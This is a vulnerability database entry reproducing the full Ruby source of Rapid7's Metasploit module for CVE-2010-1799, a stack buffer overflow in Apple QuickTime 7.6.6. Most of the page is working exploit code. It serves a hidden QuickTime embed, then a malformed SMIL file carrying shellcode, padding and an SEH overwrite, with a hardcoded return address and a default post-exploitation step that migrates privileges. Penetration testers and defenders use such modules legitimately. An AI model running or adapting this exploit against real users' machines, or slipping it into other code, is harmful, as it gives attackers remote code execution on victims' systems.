Apple QuickTime 7.6.6 Invalid SMIL URI Buffer Overflow

2010-08-13T23:11:23
ID MSF:EXPLOIT/WINDOWS/BROWSER/APPLE_QUICKTIME_SMIL_DEBUG
Type metasploit
Reporter Rapid7
Modified 2017-07-24T13:26:21

Description

This module exploits a buffer overflow in Apple QuickTime 7.6.6. When processing a malformed SMIL uri, a stack-based buffer overflow can occur when logging an error message.

                                        
                                            ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking # needs more testing/targets to be Great

  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::Seh

  #include Msf::Exploit::Remote::BrowserAutopwn
  #autopwn_info({
  #  :os_name => OperatingSystems::Match::WINDOWS,
  #  :javascript => true,
  #  :rank       => NormalRanking, # reliable memory corruption
  #  :vuln_test  => nil,
  #})

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Apple QuickTime 7.6.6 Invalid SMIL URI Buffer Overflow',
      'Description'    => %q{
          This module exploits a buffer overflow in Apple QuickTime
        7.6.6. When processing a malformed SMIL uri, a stack-based buffer
        overflow can occur when logging an error message.
      },
      'Author'         =>
        [
          'Krystian Kloskowski',  # original discovery
          'jduck'                 # Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2010-1799' ],
          [ 'OSVDB', '66636'],
          [ 'BID', '41962' ],
          [ 'URL', 'http://secunia.com/advisories/40729/' ],
          [ 'URL', 'http://support.apple.com/kb/HT4290' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
        },
      'Payload'        =>
        {
          'Space'    => 640, # 716 - 63 - 8 - 5
          'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40\x5c",
        },
      'Platform' => 'win',
      'Targets'  =>
        [
          #[ 'Automatic', { } ],
          [ 'Apple QuickTime Player 7.6.6',
            {
              'Ret' => 0x66801042 # p/p/r from QuickTime.qts (v7.66.71.0)
            }
          ],
        ],
      'Privileged'     => false,
      'DisclosureDate' => 'Aug 12 2010',
      'DefaultTarget'  => 0))
  end

  def on_request_uri(client, request)

    return if ((p = regenerate_payload(client)) == nil)

    if (request['User-Agent'] =~ /QuickTime/i or request.uri =~ /\.smil$/)
      print_status("Sending exploit SMIL (target: #{target.name})")

      # This is all basically filler on the browser target because we can't
      # expect the SEH to be in a reliable place across multiple browsers.
      # Heap spray ftw.

      off = 716
      start = "cHTTPDhlr_SetURL - url doesn't start with http:// or http1:// '"

      scheme = rand_text_alphanumeric(5)

      sploit = ''
      sploit << scheme
      sploit << "://"

      # payload
      sploit << p.encoded

      # pad to SEH
      sploit << rand_text_english(off - sploit.length - start.length)

      # seh frame
      sploit << generate_seh_record(target.ret)

      # jmp back to payload
      distance = off + 8 - (8 + start.length)
      sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string

      # force exception while writing
      sploit << rand_text(1024) * 15

      smil = %Q|<smil xmlns="http://www.w3.org/2001/SMIL20/Language">
<body>
<img src="#{sploit}" />
</body>
</smil>
|
      send_response(client, smil, { 'Content-Type' => "application/smil" })

    else
      print_status("Sending initial HTML")

      shellcode = Rex::Text.to_unescape(p.encoded)
      url =  ((datastore['SSL']) ? "https://" : "http://")
      url << ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(client.peerhost) : datastore['SRVHOST'])
      url << ":" + datastore['SRVPORT'].to_s
      url << get_resource

      fname = rand_text_alphanumeric(4)

      content =  "<html><body>"
      content << <<-ENDEMBED
          <OBJECT
          CLASSID="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B"
          WIDTH="1"
          HEIGHT="1"
          CODEBASE="http://www.apple.com/qtactivex/qtplugin.cab">
          <PARAM name="SRC"        VALUE = "#{url}/#{fname}.smil">
          <PARAM name="QTSRC"      VALUE = "#{url}/#{fname}.smil">
          <PARAM name="AUTOPLAY"   VALUE = "true"               >
          <PARAM name="TYPE"       VALUE = "video/quicktime"    >
          <PARAM name="TARGET"     VALUE = "myself"             >
          <EMBED
            SRC        = "#{url}/#{fname}.qtl"
            QTSRC      = "#{url}/#{fname}.qtl"
            TARGET     = "myself"
            WIDTH      = "1"
            HEIGHT     = "1"
            AUTOPLAY   = "true"
            PLUGIN     = "quicktimeplugin"
            TYPE       = "video/quicktime"
            CACHE      = "false"
            PLUGINSPAGE= "http://www.apple.com/quicktime/download/" >
          </EMBED>
          </OBJECT>
        ENDEMBED
      content << "</body></html>"

      send_response(client, content, { 'Content-Type' => "text/html" })
    end

    # Handle the payload
    handler(client)
  end
end